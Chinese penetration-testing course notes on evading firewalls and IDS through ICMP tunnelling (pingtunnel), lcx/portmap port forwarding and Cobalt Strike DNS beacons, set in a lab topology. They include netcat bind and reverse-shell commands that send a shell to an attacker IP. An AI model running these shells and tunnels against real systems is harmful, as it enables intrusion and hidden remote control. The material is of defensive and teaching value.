代理和隧道技术的区别?
代理主要解决的是网络访问问题,隧道是对过滤的绕过,
隧道技术是为了解决什么
解决被防火墙一些设备,ids(入侵检测系统)进行拦截的东西进行突破,举个栗子;在实战情况可能会cs和msf没有办法上线或者得到回显,出口数据被监控,在拖数据的时候会被拦截,网络通信存在问题等 ;
隧道技术前期必备的条件?
应用场景四已经获得了一些控制权,但是不能对肉鸡进行信息收集等一些执行功能;比如利用shior反序列化得到了一些权限,但是漏洞上有ids,把后门放到了对方服务器但是cs上不了线,
这个时候就是隧道技术的应用场景,
在数据通信被拦截的情况下利用隧道技术封装改变通信协议进行绕过拦截,比如你之前是用tcp协议,通过隧道技术可以把tcp协议转换成其他的协议封装出去;防火墙会对一些协议进行流量监控,有一些协议放行,我们就伪装成他放行的协议进行绕过;
在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统(ids)来检查对外连接情况,如果发现异样,就会对通信进行阻断。那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,防火墙会有拦截什么协议和端口的设置,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。
常用的隧道技术有以下三种:
网络层:IPv6隧道、ICMP隧道
传输层:TCP隧道、UDP隧道、常规端口转发
应用层:SSH隧道、HTTP/S隧道、DNS隧道
探针他的协议是否支持,测试这个协议可不可以用。
在肉鸡没办法上线,通信有异常的时候,就要去绕过他,要绕过他肯定要选择一个隧道,隧道的协议有很多,我们确定对方支持什么样的隧道,比如我们想做icmp隧道,我们就要去检测,他支不支持icmp隧道的开启,
1.TCP协议
用“瑞士军刀”netcat,执行nc命令:
nc
2.HTTP协议
用curl工具,执行:
curl
如果远程主机开启了相应的端口,且内网可连接外网的话,就会输出相应的端口信息
3.ICMP协议
用ping命令,执行:
ping
4.DNS协议
检测DNS连通性常用的命令是nslookup和dig
nslookup是windows自带的DNS探测命令
dig是linux系统自带的DNS探测命令
再用隧道之前,要先探针一下,对应的隧道协议,对方是否是支持的,
拓扑图
目的;通过web服务器,实现对dc端的控制,但是dc上面有防火墙和ids防护
现在已经得到了dc上面的账号密码,但是现在我不可能用本机连接到dc端的,
利用工具;
老版本介绍:https://github.com/f1vefour/ptunnel(需自行编译),不推荐已经不更新了
新版本介绍:https://github.com/esrrhs/pingtunnel(二次开发版)
pingtunnel是把tcp/udp/sock5流量伪装成icmp流量进行转发的感觉,
-p 表示连接icmp隧道另一端的机器IP(即目标服务器)
-lp 表示需要监听的本地tcp端口
-da 指定需要转发的机器的IP(即目标内网某一机器的内网IP)
-dp 指定需要转发的机器的端口(即目标内网某一机器的内网端口)
-x 设置连接的密码
利用之前先判断一些icmp协议可不可以用,判断一下隧道可不可行,通过ping命令判断完可写,
首先现在web肉鸡上执行一条命令
./ptunnel -x xiaodi xiaodi就是设置的密码 在web肉鸡上把工具启动
在kali上运行
./ptunnel
-p 192.168.76.150(web肉鸡的ip) -lp 1080(kali1 080端口) -da 192.168.33.33(靶机ip) -dp 3389(靶机3389端口) -x xiaodi(链接密码)
#转发的3389请求数据给本地1080
这句代码的意思;请求web肉鸡,成功之后监听自己的1080端口,讲33的网段的3389数据都传输到本机1080端口,就是借助的web肉鸡请求的靶机,
原理;kali能连接web肉鸡,web肉鸡作为跳板机,借助web肉鸡的33网段,去链接dc端,dc端上的数据就通过3389端口给到kali的1080端口
最后我就直接通过,在kali执行命令
rdesktop 127.0.0.1 1080 通过一个远程终端连接kali的1080端口
在被web肉鸡链接,但web肉鸡上面又没有上面操作,最后的请求来源还是在kali上
远程桌面登录成功,走的还是icmp协议,并不是靶机3389的协议,和之前走3389远程终端是一模一样的,但走的协议不一样,这就是隧道
他是将相关的数据包,通过防火墙所允许的类型,协议来进行封装。
传输层:TCP隧道、UDP隧道、常规端口转发;现在讲这个
Windows:lcx
Linux:portmap
常用的两款工具
下载:https://pan.baidu.com/s/1EoGZYVejTrBHBAvhndHLuQ , 提取码:fn9o(github上的没有了)
拓扑图;现在条件;本机可以和web肉鸡联通,我现在要攻击sql靶机,这个原理可以说就是端口转发
直接输入命令进行
lcx -slave [web肉鸡IP] 6666 127.0.0.1 3389
这条命令就是将本机的3389端口数据给到肉鸡的3131端口,
在web肉鸡上
lcx -listen [本机端口] [攻击机端口]
lcx -listen 6666 7777
监听自己的6666端口,给到7777端口
然后用kali监听web肉鸡的7777端口
rdesktop web肉鸡ip 转发端口7777
然后就远程登录界面就出来了
简单来说,就是靶机把自己流量给出去,给到肉鸡的端口,然后肉鸡再把端口给另一个本机可以监听的端口,然后我们在监听可以监听的端口数据,就可以了
Netcat这个是干嘛用的, 它上面有一些功能
肉鸡;
nc -ldp 1234 -e /bin/sh linux模式
nc -ldp 1234 -e c:\windows\system32\cmd.exe windwos模式# nc把自身的cmd会话反弹给1234端口
攻击主机;
nc 192.168.1.81 1234
本机就直接链肉鸡的1234端口
执行命令返回的肉鸡的ip
注意要确保Netcat是最新版,因为旧版不支持 -e 这个参数
# 攻击
nc -lvp 1234 # 监听1234端口
# 受害主动连接
nc 攻击主机 IP 1234 -e /bin/sh linux肉鸡
nc 攻击主机 IP 1234 -e c:\windows\system32\cmd.exe windwos肉鸡 # nc把cmd会话反弹给攻击机的1234端口
接受到了cmd会话
肉鸡能找到我就用反向,肉鸡找不到我就用正向,我去找肉鸡
配合之前的端口转发工具Portmap,刚刚的案例是利用Portmap连接的3389端口,我这个时候可以不连接3389端口,而是把会话反弹回来;有权限之后想操作肉鸡,利用端口转发实现
web肉鸡上运行
# 监听本地的 2222 转发到3333上
god\Webserver:Lcx.exe -listen 2222 3333
然后还有一个sql靶机,sql只有3的网段,本机链接不上她,接下来就实现kali控制sql靶机
nc 192.168.22.141 2222 -e c:\windows\system32\cmd.exe # nc把cmd会话反弹给跳板机的 2222 端口
sql靶机就把cmd发送给了web肉鸡的2222端口
然后卡里就可以链接web肉鸡的,监听他的3333端口
nc -v 192.168.1.81 3333
实现控制了sql靶机
nc走的是tcp协议,如果对方没有过滤tcp协议,就可以通过nc实现控制主机,
指纹服务:nc -nv 192.168.76.143
端口扫描:nc -v -z 192.168.76.143 1-100
端口监听:nc -lvp xxxx
文件传输:nc -lp 1111 >1.txt|nc -vn xx.xx.x.x 1111 <1.txt -q 1
反弹Shell:见上
这个层面在实战中经常会用到,
应用层:SSH隧道、HTTP/S隧道、DNS隧道
利用dns隧道,实现cs的上线,
今天的隧道技术是把相关的数据传输换了一个隧道传输,
连接上cs
这个监听器就是隧道的意思,假如我们生成了一个http后门,对方是流量监控的,防火墙检测http,通过http协议传输的时候要受到监控,现在再用http生成后门上线肯定有问题,因为防火墙已经封锁http了,
老师监控这里就已经有两个后门了,http的后门就要通过http协议和靶机相互通信
dns协议就通过dns相互通讯
有时候用cs生成后门上不了线的原因,就有一个这样的情况,防火墙有检测
现在就走dns隧道
当常见协议监听器被拦截时,可以换其他协议上线,其中 dns 协议上线基本通杀,把数据通过dns给出去,
1.云主机Teamserver配置端口53启用-udp
2. 买一个域名修改解析记录如下:
A 记录->cs 主机名->CS 服务器 IP
就相当于我访问我本机搭建的域名的时候就访问cs的ip
NS 记录->ns1 主机名->上个 A 记录地址
最后到本机域名又是到cs的ip
NS 记录->ns2 主机名->上个 A 记录地址
3.配置DNS监听器内容如下:
ns1.xiaodi8.com
ns2.xiaodi8.com
cs.xiaodi8.com
监听启动之后
然后就是生成后门
配置方法:
“Listeners”“Add”,“Payload”选“Beacon DNS”,“DNS Hosts”填入“ns1.xiaodi8.com”和“ns2.xiaodi8.com”,“DNS Host(Stager)”填“cs.xiaodi8.com”
然后选择后门的的是dns协议
然后把生成的后门上传到肉鸡,开始执行
这时候主机是黑框的,显示unkown
这就是dns上线,dns上线有个问题就是速度慢,他传输数据库有一个响应的过程,然后还要再执行几条命令才能实现控制,
命令:
checkin
mode dns-txt
成功上线,
总结;先测试对方接受什么协议,然后把传输的数据包封装成她能接受的数据包的协议,解决数据走不通某个协议的问题。
fa
cai